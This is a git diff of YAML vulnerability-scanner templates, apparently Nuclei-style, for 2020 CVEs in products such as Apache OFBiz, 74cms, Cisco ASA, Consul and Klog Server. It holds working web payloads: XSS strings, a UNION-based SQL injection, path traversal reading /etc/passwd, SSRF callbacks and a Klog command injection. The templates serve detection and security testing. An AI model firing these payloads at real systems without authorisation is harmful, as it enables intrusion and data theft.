https://nvd.nist.gov/vuln/detail/CVE-2020-1943 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-1943 cwe-id: CWE-79 + epss-score: 0.52653 + epss-percentile: 0.97257 + cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: apache + product: ofbiz tags: cve,cve2020,apache,xss,ofbiz -requests: +http: - method: GET path: - '{{BaseURL}}/control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(/xss/)%3E' @@ -25,15 +35,16 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "" - part: body - type: word + part: header words: - "text/html" - part: header - type: status status: - 200 +# digest: 4a0a0047304502210096eb5caa09fc2f1f9e8d9484ce6461951fefa8cc33399b07124370eea4a57b4c02205de953143a061ef42e97d8602aeea3da89f34fa9d0f0580a7afc0110b8917567:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-20988.yaml b/poc/cve/CVE-2020-20988.yaml index 3e9cfa0995..3068593902 100644 --- a/poc/cve/CVE-2020-20988.yaml +++ b/poc/cve/CVE-2020-20988.yaml @@ -1,32 +1,21 @@ id: CVE-2020-20988 - info: name: DomainMOD 4.13.0 - Cross-Site Scripting author: arafatansari severity: medium description: | - DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter. - remediation: | - Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. + DomainMOD 4.13.0 is vulnerable to Cross Site Scripting (XSS) via reporting/domains/cost-by-owner.php in "or Expiring Between" parameter. reference: - https://mycvee.blogspot.com/p/xss2.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-20988 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2020-20988 cwe-id: CWE-79 - epss-score: 0.0009 - epss-percentile: 0.37908 - cpe: cpe:2.3:a:domainmod:domainmod:4.13.0:*:*:*:*:*:*:* metadata: - verified: true - max-request: 2 - vendor: domainmod - product: domainmod + verified: "true" tags: cve,cve2020,domainmod,xss,authenticated - -http: +requests: - raw: - | POST / HTTP/1.1 @@ -40,15 +29,15 @@ http: Content-Type: application/x-www-form-urlencoded daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E - - host-redirects: true + cookie-reuse: true + req-condition: true + redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'status_code_2 == 200' - - 'contains(header_2, "text/html")' + - 'contains(all_headers_2, "text/html")' - 'contains(body_2, "value=\"\"/>")' - 'contains(body_2, "DomainMOD")' condition: and -# digest: 4b0a0048304602210082b9b14091c6a30fd5464dcf299a848e68c780787a5c4bc05c9d958600981951022100d8de0a015ad8feb4919b61a9e65fb2f6b0ecb00aac52596dfd0e8a823adc37b3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-22208.yaml b/poc/cve/CVE-2020-22208.yaml index f447227d0e..f898c67129 100644 --- a/poc/cve/CVE-2020-22208.yaml +++ b/poc/cve/CVE-2020-22208.yaml @@ -1,32 +1,43 @@ id: CVE-2020-22208 + info: name: 74cms - ajax_street.php 'x' SQL Injection author: ritikchaddha severity: critical description: | SQL Injection in 74cms 3.2.0 via the x parameter to plus/ajax_street.php. + remediation: | + Apply the vendor-provided patch or update to the latest version of 74cms to mitigate the SQL Injection vulnerability. reference: - https://github.com/blindkey/cve_like/issues/10 - https://nvd.nist.gov/vuln/detail/CVE-2020-22208 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 - cve-id: CVE-2020-22210 + cve-id: CVE-2020-22208 cwe-id: CWE-89 + epss-score: 0.13124 + epss-percentile: 0.94975 + cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:* metadata: - fofa-query: app="74cms" + max-request: 1 + vendor: 74cms + product: 74cms shodan-query: http.html:"74cms" + fofa-query: app="74cms" tags: cve,cve2020,74cms,sqli variables: num: "999999999" -requests: + +http: - method: GET path: - '{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin#' + matchers: - type: word part: body words: - '{{md5({{num}})}}' -# Enhanced by cs on 2022/06/21 +# digest: 4a0a004730450221008a159e71fe92a360c2ad32fd9090440f054a75448a32199a0f4d881bb260528b0220042c7b6127138bd2ed477bea3019fbdde4395bfda274f0c8c435c16765572135:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2020-24148.yaml b/poc/cve/CVE-2020-24148.yaml index b0b2c1f7de..15da98a978 100644 --- a/poc/cve/CVE-2020-24148.yaml +++ b/poc/cve/CVE-2020-24148.yaml @@ -4,34 +4,22 @@ info: name: Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery author: dwisiswant0 severity: critical - description: WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action. - remediation: | - Update to the latest version of the Import XML & RSS Feeds WordPress Plugin (2.0.2 or higher) to mitigate the vulnerability. reference: - https://github.com/dwisiswant0/CVE-2020-24148 - https://wordpress.org/plugins/import-xml-feed/#developers - https://nvd.nist.gov/vuln/detail/CVE-2020-24148 - - https://github.com/secwx/research/blob/main/cve/CVE-2020-24148.md + description: "WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action." classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - cvss-score: 9.1 + cvss-score: 9.10 cve-id: CVE-2020-24148 cwe-id: CWE-918 - epss-score: 0.08836 - epss-percentile: 0.93918 - cpe: cpe:2.3:a:mooveagency:import_xml_and_rss_feeds:2.0.1:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: mooveagency - product: import_xml_and_rss_feeds - framework: wordpress tags: cve,cve2020,wordpress,wp-plugin,ssrf -http: +requests: - method: POST path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=moove_read_xml" - body: "type=url&data=http%3A%2F%2F{{interactsh-url}}%2F&xmlaction=preview&node=0" matchers: - type: word @@ -39,4 +27,4 @@ http: words: - "http" -# digest: 4a0a00473045022100fc4b77bebc0e49a830c0a3e8c523e81b3a1d62a67dfd67639a5a35772e2e0f370220476f140b542c56a15dd22b51d98b9dc4d6062f9000b6ba00153dffaa611d5d36:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/03/27 diff --git a/poc/cve/CVE-2020-24571.yaml b/poc/cve/CVE-2020-24571.yaml index 7ac3c519d7..31c48c1500 100644 --- a/poc/cve/CVE-2020-24571.yaml +++ b/poc/cve/CVE-2020-24571.yaml @@ -1,18 +1,30 @@ id: CVE-2020-24571 + info: - name: NexusDB v4.50.22 Path Traversal + name: NexusDB <4.50.23 - Local File Inclusion author: pikpikcu severity: high - description: NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal. - reference: https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371 - tags: cve,cve2020,nexusdb,lfi + description: NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal and local file inclusion. + remediation: | + Upgrade NexusDB to version 4.50.23 or later to mitigate the LFI vulnerability. + reference: + - https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371 + - https://nvd.nist.gov/vuln/detail/CVE-2020-24571 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 + cvss-score: 7.5 cve-id: CVE-2020-24571 cwe-id: CWE-22 + epss-score: 0.049 + epss-percentile: 0.91931 + cpe: cpe:2.3:a:nexusdb:nexusdb:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: nexusdb + product: nexusdb + tags: cve,cve2020,nexusdb,lfi -requests: +http: - method: GET path: - '{{BaseURL}}/../../../../../../../../windows/win.ini' @@ -20,10 +32,11 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "[extensions]" - part: body - type: status status: - 200 +# digest: 4b0a004830460221009c6df281f0e91da2b912ce5c6db1f6dbdfa5babf468ed05b80f758058befe724022100afab464c7c94d599ff23db18ba6122066fc1e8bd4d4279eaa6ba0a8a1407652e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-25864.yaml b/poc/cve/CVE-2020-25864.yaml index 1fc7e76363..c0f536ddbc 100644 --- a/poc/cve/CVE-2020-25864.yaml +++ b/poc/cve/CVE-2020-25864.yaml @@ -1,55 +1,44 @@ id: CVE-2020-25864 info: - name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting - author: c-sh0 + name: HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting severity: medium - description: | - HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode. - remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14. + author: c-sh0 reference: - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368 - - https://www.hashicorp.com/blog/category/consul - https://nvd.nist.gov/vuln/detail/CVE-2020-25864 - - https://security.gentoo.org/glsa/202208-09 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2020-25864 cwe-id: CWE-79 - epss-score: 0.00305 - epss-percentile: 0.66429 - cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:* - metadata: - max-request: 2 - vendor: hashicorp - product: consul - tags: cve,cve2020,consul,xss,intrusive + tags: cve,cve2020,consul,xss -http: +requests: - raw: - | PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1 Host: {{Hostname}} + - | GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1 Host: {{Hostname}} + req-condition: true matchers-condition: and matchers: + - type: status + status: + - 200 + - type: word part: header words: - - text/html + - "text/html" - type: word part: body_2 words: - - - - - type: status - status: - - 200 -# digest: 490a0046304402201b7626ffe7a5111e371de1604764efa32d543ea44494f6c0acae5dd482bac78c022027f9c340bb40ec4eee72fbfa33ca8ffca0f527980f3d596c5aabebcafafff797:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - "" \ No newline at end of file diff --git a/poc/cve/CVE-2020-28351.yaml b/poc/cve/CVE-2020-28351.yaml index 7b24f3c846..02c91466b2 100644 --- a/poc/cve/CVE-2020-28351.yaml +++ b/poc/cve/CVE-2020-28351.yaml @@ -1,53 +1,36 @@ id: CVE-2020-28351 - info: - name: Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting + name: ShoreTel 19.46.1802.0 XSS author: pikpikcu severity: medium - description: Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page. - remediation: | - Apply the latest security patches or updates provided by Mitel to mitigate the XSS vulnerability. + description: conferencing component on Mitel ShoreTel 19.46.1802.0 devices could allow an unauthenticated attacker to conduct a reflected cross-site scripting (XSS) attack (via the PATH_INFO to index.php) due to insufficient validation for the time_zone object in the HOME_MEETING& page reference: - https://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html - - https://www.mitel.com/articles/what-happened-shoretel-products - https://nvd.nist.gov/vuln/detail/CVE-2020-28351 - - http://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html + - https://www.mitel.com/articles/what-happened-shoretel-products - https://github.com/dievus/cve-2020-28351 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-28351 cwe-id: CWE-79 - epss-score: 0.0036 - epss-percentile: 0.69129 - cpe: cpe:2.3:o:mitel:shoretel_firmware:19.46.1802.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: mitel - product: shoretel_firmware - tags: packetstorm,cve,cve2020,shoretel,xss - -http: + tags: cve,cve2020,shoretel,xss +requests: - method: GET path: - "{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME" - headers: Content-Type: application/x-www-form-urlencoded - matchers-condition: and matchers: - type: word - part: body words: - '' - + part: body - type: word - part: header words: - 'Content-Type: text/html' - + part: header - type: status status: - 200 -# digest: 4b0a0048304602210089ec4b2bb1cc6ab2de05affb97f183df52f082e1396179662ad762a340cfdbe2022100e2f7b0eb0fdcfcb5f2a6a11dba347d499de3fbd2cbe2658260cd26ca587caaa3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-28976.yaml b/poc/cve/CVE-2020-28976.yaml index 93c33372cb..d23e51db96 100644 --- a/poc/cve/CVE-2020-28976.yaml +++ b/poc/cve/CVE-2020-28976.yaml @@ -1,34 +1,21 @@ id: CVE-2020-28976 info: - name: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery + name: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated) author: LogicalHunter severity: medium - description: WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. - remediation: | - Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor. + description: The Canto plugin 1.3.0 for WordPress contains a blind SSRF vulnerability. It allows an unauthenticated attacker to make a request to any internal and external server via /includes/lib/detail.php?subdomain=SSRF. reference: - https://www.exploit-db.com/exploits/49189 - - https://www.canto.com/integrations/wordpress/ - - https://github.com/CantoDAM/Canto-Wordpress-Plugin - https://nvd.nist.gov/vuln/detail/CVE-2020-28976 - - http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 + cvss-score: 5.30 cve-id: CVE-2020-28976 cwe-id: CWE-918 - epss-score: 0.00616 - epss-percentile: 0.76391 - cpe: cpe:2.3:a:canto:canto:1.3.0:*:*:*:*:wordpress:*:* - metadata: - max-request: 3 - vendor: canto - product: canto - framework: wordpress - tags: packetstorm,cve,cve2020,ssrf,wordpress,wp-plugin,oast,edb + tags: cve,cve2020,ssrf,wordpress,wp-plugin,oast -http: +requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}" @@ -36,25 +23,8 @@ http: - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}" stop-at-first-match: true - - matchers-condition: and matchers: - type: word part: interactsh_protocol words: - - "http" - - - type: word - part: body - words: - - "null" - - - type: word - part: header - words: - - "application/json" - - - type: status - status: - - 200 -# digest: 490a00463044022002cd967545ae7a38d856c213cf8c001a049d9c446a755457b1d030c482f3736a02203f6a8998c99c4a5c5f5f2ebbb9544a4aec8c9a5b19dd8c620df1321010689fda:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - "http" \ No newline at end of file diff --git a/poc/cve/CVE-2020-29227.yaml b/poc/cve/CVE-2020-29227.yaml index f36b65bb84..8679600dfb 100644 --- a/poc/cve/CVE-2020-29227.yaml +++ b/poc/cve/CVE-2020-29227.yaml @@ -1,12 +1,9 @@ id: CVE-2020-29227 - info: name: Car Rental Management System 1.0 - Local File Inclusion author: daffainfo severity: critical description: Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the "page" parameter, leading to code execution. - remediation: | - Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in the Car Rental Management System 1.0. reference: - https://loopspell.medium.com/cve-2020-29227-unauthenticated-local-file-inclusion-7d3bd2c5c6a5 - https://nvd.nist.gov/vuln/detail/CVE-2020-29227 @@ -15,28 +12,19 @@ info: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-29227 - epss-score: 0.00766 - epss-percentile: 0.79111 - cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: car_rental_management_system_project - product: car_rental_management_system tags: cve,cve2020,lfi - -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?page=/etc/passwd%00" - matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a00473045022100e90d59b6c7302b103e9714fb82b51f44017184d3a8afff491cd474bfe77fcd8202204893c36efd33fd4fd4f7553ebd75b68d67cd2835e8c7b104eea27305acd213ed:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/16 diff --git a/poc/cve/CVE-2020-29597.yaml b/poc/cve/CVE-2020-29597.yaml index 839ed954e9..36d1a80952 100644 --- a/poc/cve/CVE-2020-29597.yaml +++ b/poc/cve/CVE-2020-29597.yaml @@ -1,10 +1,13 @@ id: CVE-2020-29597 + info: name: IncomCMS 2.0 - Arbitrary File Upload author: princechaddha severity: critical description: | IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server. + remediation: | + Apply the latest security patch or update to a version that addresses the vulnerability. reference: - https://github.com/Trhackno/CVE-2020-29597 - https://nvd.nist.gov/vuln/detail/CVE-2020-29597 @@ -15,10 +18,17 @@ info: cvss-score: 9.8 cve-id: CVE-2020-29597 cwe-id: CWE-434 + epss-score: 0.83778 + epss-percentile: 0.98148 + cpe: cpe:2.3:a:incomcms_project:incomcms:2.0:*:*:*:*:*:*:* metadata: - verified: "true" + verified: true + max-request: 2 + vendor: incomcms_project + product: incomcms tags: cve,cve2020,incomcms,fileupload,intrusive -requests: + +http: - raw: - | POST /incom/modules/uploader/showcase/script.php HTTP/1.1 @@ -34,16 +44,16 @@ requests: - | GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1 Host: {{Hostname}} - req-condition: true + matchers-condition: and matchers: - type: word part: body_1 words: - '{"status":"1","name":"{{randstr_1}}.png"}' + - type: word part: body_2 words: - '{{randstr_2}}' - -# Enhanced by CS 06/06/2022 +# digest: 4a0a00473045022100fddee8195de5497d4bf173b73c0474b1589149bef49781d0e860b36e79ae652b022014052856ad945ee77e08101aef58c8c6a4d2eba4c2f3cf4b37f3b02e15f6a7fc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-35234.yaml b/poc/cve/CVE-2020-35234.yaml index a503d2b860..87155400d6 100644 --- a/poc/cve/CVE-2020-35234.yaml +++ b/poc/cve/CVE-2020-35234.yaml @@ -1,36 +1,25 @@ id: CVE-2020-35234 - info: name: SMTP WP Plugin Directory Listing author: PR3R00T severity: high description: The WordPress Easy WP SMTP Plugin has its log folder remotely accessible and its content available for access. - remediation: Upgrade to version 1.4.3 or newer and consider disabling debug logs. reference: - https://nvd.nist.gov/vuln/detail/CVE-2020-35234 - https://blog.nintechnet.com/wordpress-easy-wp-smtp-plugin-fixed-zero-day-vulnerability/ - https://wordpress.org/plugins/easy-wp-smtp/#developers + remediation: Upgrade to version 1.4.3 or newer and consider disabling debug logs. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-35234 cwe-id: CWE-532 - epss-score: 0.37453 - epss-percentile: 0.96826 - cpe: cpe:2.3:a:wp-ecommerce:easy_wp_smtp:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: wp-ecommerce - product: easy_wp_smtp - framework: wordpress tags: cve,cve2020,wordpress,wp-plugin,smtp - -http: +requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/easy-wp-smtp/" - "{{BaseURL}}/wp-content/plugins/wp-mail-smtp-pro/" - matchers: - type: word words: @@ -39,4 +28,4 @@ http: - "Index of" condition: and -# digest: 4b0a00483046022100ad516376eaa512a9898be03c712c3028cf35ef1b0557e245f4516df71d0449e2022100e9af093f7e950830558e2d263422d0c3bc8270aaf46bb14e3ad08150be596d37:922c64590222798bb761d5b6d8e72950 +# Enhanced by cs on 2022/02/28 diff --git a/poc/cve/CVE-2020-35729.yaml b/poc/cve/CVE-2020-35729.yaml index dec695d8b8..632c7a5aad 100644 --- a/poc/cve/CVE-2020-35729.yaml +++ b/poc/cve/CVE-2020-35729.yaml @@ -1,41 +1,36 @@ id: CVE-2020-35729 info: - name: Klog Server <=2.41 - Unauthenticated Command Injection + name: Klog Server Unauthenticated Command Injection author: dwisiswant0 severity: critical - description: Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7. - remediation: | - Upgrade to a patched version of Klog Server (>=2.42) or apply the vendor-supplied patch. - reference: - - https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection - - https://nvd.nist.gov/vuln/detail/CVE-2020-35729 - - https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/Exploit_Code - - https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/README.md + reference: https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection + description: | + This template exploits an unauthenticated command injection vulnerability + in Klog Server versions 2.4.1 and prior. + + The `authenticate.php` file uses the `user` HTTP POST parameter in a call + to the `shell_exec()` PHP function without appropriate input validation, + allowing arbitrary command execution as the apache user. + + The sudo configuration permits the apache user to execute any command + as root without providing a password, resulting in privileged command + execution as root. + + Originated from Metasploit module, copyright (c) space-r7. + tags: cve,cve2020,klog,rce classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 + cvss-score: 9.80 cve-id: CVE-2020-35729 cwe-id: CWE-78 - epss-score: 0.95886 - epss-percentile: 0.99297 - cpe: cpe:2.3:a:klogserver:klog_server:2.4.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: klogserver - product: klog_server - tags: cve,cve2020,klog,rce -variables: - dummy: "{{to_lower(rand_text_alpha(5))}}" -http: +requests: - method: POST path: - "{{BaseURL}}/actions/authenticate.php" - - body: 'user={{dummy}}%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd={{dummy}}' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo" + body: 'user=pdnuclei%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=pdnuclei' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo" matchers: - type: word words: - - "poc-testing" # from Base64 decoding payload -# digest: 4b0a00483046022100b3e9b6b0e73008fe5c9d2a8ddcbc75d7d5a1853c3b13fc0d71909789518a5f17022100edc0fdf531d269254caee9eb94eee30fc6e5b8d628831f95412745ebf8bed659:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - "poc-testing" # from Base64 decoding payload \ No newline at end of file diff --git a/poc/cve/CVE-2020-35774.yaml b/poc/cve/CVE-2020-35774.yaml index 05e6b5544c..bff0d4f58e 100644 --- a/poc/cve/CVE-2020-35774.yaml +++ b/poc/cve/CVE-2020-35774.yaml @@ -1,26 +1,51 @@ id: CVE-2020-35774 + info: - name: Twitter Server XSS + name: twitter-server Cross-Site Scripting author: pikpikcu severity: medium description: | - server/handler/HistogramQueryHandler.scala in Twitter TwitterServer (aka twitter-server) before 20.12.0, in some configurations, allows XSS via the /histograms endpoint. - reference: https://nvd.nist.gov/vuln/detail/CVE-2020-35774 + twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala. + remediation: | + Apply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability. + reference: + - https://advisory.checkmarx.net/advisory/CX-2020-4287 + - https://nvd.nist.gov/vuln/detail/CVE-2020-35774 + - https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c + - https://github.com/twitter/twitter-server/compare/twitter-server-20.10.0...twitter-server-20.12.0 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2020-35774 + cwe-id: CWE-79 + epss-score: 0.97131 + epss-percentile: 0.9974 + cpe: cpe:2.3:a:twitter:twitter-server:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: twitter + product: twitter-server tags: cve,cve2020,xss,twitter-server -requests: + +http: - method: GET path: - "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true" + matchers-condition: and matchers: - type: word + part: body words: - '' - part: body - - type: status - status: - - 200 + - type: word part: header words: - text/html + + - type: status + status: + - 200 + +# digest: 490a0046304402202677f1f69b0200efadb9be764dbae9a478967453dd9c6c69c19d7213e1860df102205e1035a0dee922d386d2f75ef5410206e9ddedbef039cbba3df8760a8ddfe6bf:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2020-3580.yaml b/poc/cve/CVE-2020-3580.yaml index 024c7879f6..3ce16df93b 100644 --- a/poc/cve/CVE-2020-3580.yaml +++ b/poc/cve/CVE-2020-3580.yaml @@ -1,32 +1,21 @@ id: CVE-2020-3580 - info: - name: Cisco ASA/FTD Software - Cross-Site Scripting + name: Cisco ASA XSS author: pikpikcu severity: medium description: | - Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links. - remediation: | - Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability. + Multiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section. reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-3580 - https://twitter.com/ptswarm/status/1408050644460650502 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe - - https://nvd.nist.gov/vuln/detail/CVE-2020-3580 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-3580 cwe-id: CWE-79 - epss-score: 0.97048 - epss-percentile: 0.99697 - cpe: cpe:2.3:o:cisco:firepower_threat_defense:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: cisco - product: firepower_threat_defense - tags: cve,cve2020,xss,cisco,kev - -http: + tags: cve,cve2020,xss,cisco +requests: - raw: - | POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1 @@ -34,20 +23,16 @@ http: Content-Type: application/x-www-form-urlencoded SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E - matchers-condition: and matchers: - type: word - part: body words: - '' - + part: body + - type: status + status: + - 200 - type: word part: header words: - "text/html" - - - type: status - status: - - 200 -# digest: 4b0a00483046022100aa61564a1b2cf11bf06cc0063875869afb8ea6e85cf79dc37e8553d7b0982873022100d8d04418a0d4f867d50783111b41365abae95ce2fcae243619f55c01d3448ced:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-35847.yaml b/poc/cve/CVE-2020-35847.yaml index 033d61bce1..e2a337a68a 100644 --- a/poc/cve/CVE-2020-35847.yaml +++ b/poc/cve/CVE-2020-35847.yaml @@ -1,27 +1,74 @@ id: CVE-2020-35847 + info: - name: Cockpit prior to 0.12.0 NoSQL injection in /auth/resetpassword + name: Agentejo Cockpit <0.11.2 - NoSQL Injection author: dwisiswant0 severity: critical description: | - resetpassword method of the Auth controller, - which is responsible for changing the user password using the reset token. - reference: https://swarm.ptsecurity.com/rce-cockpit-cms/ - tags: cve,cve2020,nosqli,sqli -requests: - - method: POST - path: - - "{{BaseURL}}/auth/requestreset" - headers: 